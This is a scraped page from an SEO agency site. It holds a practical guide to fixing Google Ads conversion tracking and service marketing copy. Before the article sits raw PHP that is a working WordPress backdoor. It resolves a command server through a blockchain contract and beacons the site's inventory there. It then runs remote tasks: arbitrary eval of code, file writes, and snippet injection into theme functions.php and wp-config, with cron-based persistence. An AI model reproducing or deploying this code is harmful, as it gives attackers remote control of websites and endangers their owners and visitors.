// nj_r9 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/customer/www/piggybankseo.com/public_html/wp-content/plugins/wp-helper-ef29e2/wp-helper-ef29e2.php', 'ctrl'=>'// nj_r9', 'vis'=>'// hm_ip', 'vis_func'=>'wp_syot53', 'vis_paths'=>array('/home/customer/www/piggybankseo.com/public_html/wp-content/plugins/wp-helper-ef29e2/wp-helper-ef29e2.php'), 'opt'=>'_wp_r203ivhr', ); $keys=array(); $keys['id']='h6u'; $keys['ver']='hl'; $keys['caps']='4gj'; $keys['tasks']='vsk'; $keys['interval']='g07'; $keys['ack_id']='9fs'; $keys['ok']='zk'; $keys['detail']='8a9'; $keys['inv']='jh1'; $keys['result']='pwm'; $hdr='X-YLU-Auth';$tok='F0nSFdIAQvt3Io3Cp-7nu1AvsTGZ6xMS-sEZSjaUvNU';$id='123ffcbda9f0ec24';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Google Ads Conversion Tracking Not Working? Fix Fast 2026

Pay Only After You Rank

100% USA-Based

30 Keywords In 30 Days

No Contract Required

why choose us?

Pay Only After You Rank

30 Keywords In 30 Days

100% USA-Based

No Contract Required

Why Are My Google Ads Conversions Not Tracking? A Practical Fix Guide

You’re paying for clicks, the phone rings, or form leads come in, yet Google Ads shows 0 conversions. It feels like driving with a broken speedometer. You can still move, but you can’t tell if you’re speeding toward profit or burning cash.

The good news is most Google Ads conversion tracking problems come from a handful of settings, tag issues, or mismatched “sources of truth” (Google Ads, GA4, GTM, your CRM). Once you find the leak, fixes are usually quick.

Below is a small business friendly way to diagnose what’s wrong, get conversions reporting again, and keep your data stable so your ads and your SEO both show real results.

First, confirm it’s really a tracking problem (not a lead problem)

Before you touch tags, confirm you’re looking at the right place in the right time range. Google Ads is picky about which actions count as a conversion, and it doesn’t always show them instantly.

Start with these fast checks in Google Ads:

  • Date range and time zone: Make sure you’re viewing dates that include the last 7 to 30 days, and confirm the account time zone matches your business hours.
  • Conversion action status: Open Tools, then Goals, then Conversions. If your action shows as “No recent conversions,” it might still be firing, but not being attributed.
  • “Include in Conversions” setting: If it’s off, you may see conversions in “All conversions” but not in the main “Conversions” column.
  • Attribution and window: A click today can convert next week. If your conversion window is short (or your sales cycle is long), results can look like “nothing is tracking.”

Use this table to separate common symptoms from likely causes:

What you see in Google AdsWhat it often meansWhere to check first
0 conversions, but you got leadsTag didn’t fire, or conversion not includedConversions settings, Tag Assistant
Conversions show in GA4, not AdsImport or linking issueGA4 to Google Ads link, imported event
Conversions show as “All conversions” onlyMarked as secondary“Include in Conversions” toggle
Conversions suddenly stoppedSite change broke the triggerThank-you page, GTM, URL changes

If you’re also getting clicks but no calls, you may have a second issue: lead flow. In that case, this guide on troubleshooting missing call conversions is a good companion because it covers call reporting, routing, and other “silent failure” points.

The most common Google Ads conversion tracking setup breaks

Once you’ve confirmed the numbers should be there, shift to the actual tracking mechanism. Most small businesses track one of these: a thank-you page view, a GA4 event, a GTM-triggered tag, a phone call, or an imported offline conversion.

Here are the usual failure points.

The tag isn’t firing (or fires on the wrong page)

This is the classic one. A new website update removes the GTM container, the thank-you URL changes, or the form plugin stops redirecting.

What to do:

  1. Test the action yourself (submit the form or complete the checkout).
  2. Use Google Tag Assistant (or your GTM preview mode) to confirm the conversion tag fires on the exact success step.
  3. Check for double fires (two tags, two triggers, or a “page view” trigger that also fires on refresh). Double counting can be as bad as no counting.

If you want a broader list of common causes, this roundup of Google Ads conversion tracking not working reasons is helpful when you’re stuck and need more scenarios to compare.

The conversion ID and label don’t match

If you set up tracking in GTM using a Google Ads Conversion Tracking tag, the conversion ID and label must match the conversion action in Google Ads.

Mistakes happen when someone:

  • Copies an old label from a previous account
  • Duplicates a conversion action but forgets to update the tag
  • Tracks calls and forms but mixes the labels

A quick way to catch this is to open the conversion action in Google Ads and compare the ID and label to what’s inside GTM.

Consent and browser changes block the signal

In 2026, privacy rules and browser limits can affect tracking. If your site uses a cookie banner, your tags might not fire until a visitor consents. That can reduce reported conversions, even when leads still happen.

This doesn’t mean ads “stopped working.” It means measurement needs tighter setup. If you see conversions drop right after adding a consent tool, that’s a strong clue.

Call conversions aren’t configured, or the threshold is too strict

Many local businesses rely on calls, but they track only form fills. Others track calls, but the minimum call length is set too high (for example, 60 seconds). If a good lead calls for 25 seconds, you might never see it as a conversion.

Also check that call reporting is enabled and that your call asset is actually attached to the campaigns that run.

GA4, GTM, and Google Ads mismatches that hide conversions

Even when tags fire, conversions can still “disappear” because your platforms disagree about what counts.

Imported conversions are mapped to the wrong event

If you import conversions from GA4 into Google Ads, GA4 must treat that action as a key event (and your Google Ads import must point to the right one). If you import a generic event like “page_view” or “submit_form” that fires in multiple places, your data turns messy fast.

On the other hand, if the event name changed during a site update, Google Ads keeps importing the old one and shows nothing.

A real-world example of this kind of mismatch (where the tag tests fine, but Ads shows no conversions) is described in this case study: Google Ads shows no conversions solved.

Auto-tagging (GCLID) is off or gets stripped

If you rely on GA4 imports, Google Ads often needs the click ID to tie a conversion back to the ad click. If auto-tagging is disabled, or your site strips URL parameters, attribution can fail.

This shows up as “we got leads, but Ads didn’t credit them.”

Primary vs secondary conversions confuse reporting

Google Ads now encourages goal sets and different conversion types. That’s useful, but it also creates confusion. If your form submission is marked secondary, the campaign columns may look empty.

If you want Smart Bidding to learn, make sure your real lead action is set as a primary conversion and included in the main Conversions column.

Cross-domain journeys break the session

If customers start on your site but complete the action on a different domain (a booking tool, payment provider, or CRM-hosted form), tracking can break unless cross-domain settings are correct.

This is common for service businesses using tools like scheduling apps. Everything “works,” but the last step happens off-site, and Google Ads never sees the finish line.

A simple fix plan (and how to keep tracking stable)

Once you’ve narrowed the likely cause, fix it in a tight order. Jumping around wastes time and creates new variables.

Here’s a clean sequence:

  1. Pick your single source of truth for leads (form submit, booked appointment, qualified call, purchase).
  2. Make that action trackable (Google Ads tag, GA4 key event, or offline import).
  3. Test it end-to-end (click an ad, complete the action, confirm it appears in real time tools).
  4. Verify it shows in Google Ads (it can take time, but it shouldn’t stay at zero for days if you have volume).
  5. Lock it in (document the trigger, URL, event name, and who owns it).

If you need stronger accuracy, consider offline conversion imports. For example, upload “qualified lead” or “closed deal” from your CRM. That keeps Google Ads focused on revenue, not just button clicks.

Finally, zoom out for a second. Tracking problems hurt because they block decisions. That’s also why performance-focused SEO matters. When SEO is built around rankings that lead to calls and forms, you get a second channel you can measure and trust, even when paid tracking gets noisy.

Conclusion

When Google Ads conversion tracking stops reporting, don’t guess. Confirm the conversion settings, test the tag, then check GA4 imports and attribution basics. Most issues come from a broken trigger, a mislabeled conversion, or a platform mismatch.

Once tracking is fixed, your ads can optimize again, and your reporting becomes useful instead of stressful. If your dashboard is your speedometer, make sure it’s telling the truth before you step on the gas.

Need Help? Get In Touch!

If you have questions about anything, please do not hesitate to contact us. All messages are responded to within 24 business hours (most within 1 business hour).

ANY QUESTIONS

Ready to Speak With a Marketing Expert

Contact Us

Our internet marketing experts are always available to assist you with any of your issues, needs or requests.

Launch Targeted Campaign

Our goal is to help clients plan, build, and execute their digital advertising campaigns using the best of human expertise

Achieve Lasting Growth

When you work with us, we want to be able to provide you with a unique service that helps your business grow, without having to invest a lot upfront.

Results-Based

We only start billing once we get you on page 1 of Google.

Affordable

Our monthly fees are made for small businesses.

Fast Results

Almost all of our clients get ranking within 1-2 months.

No Contract

We don't lock you in. All services are month-to-month.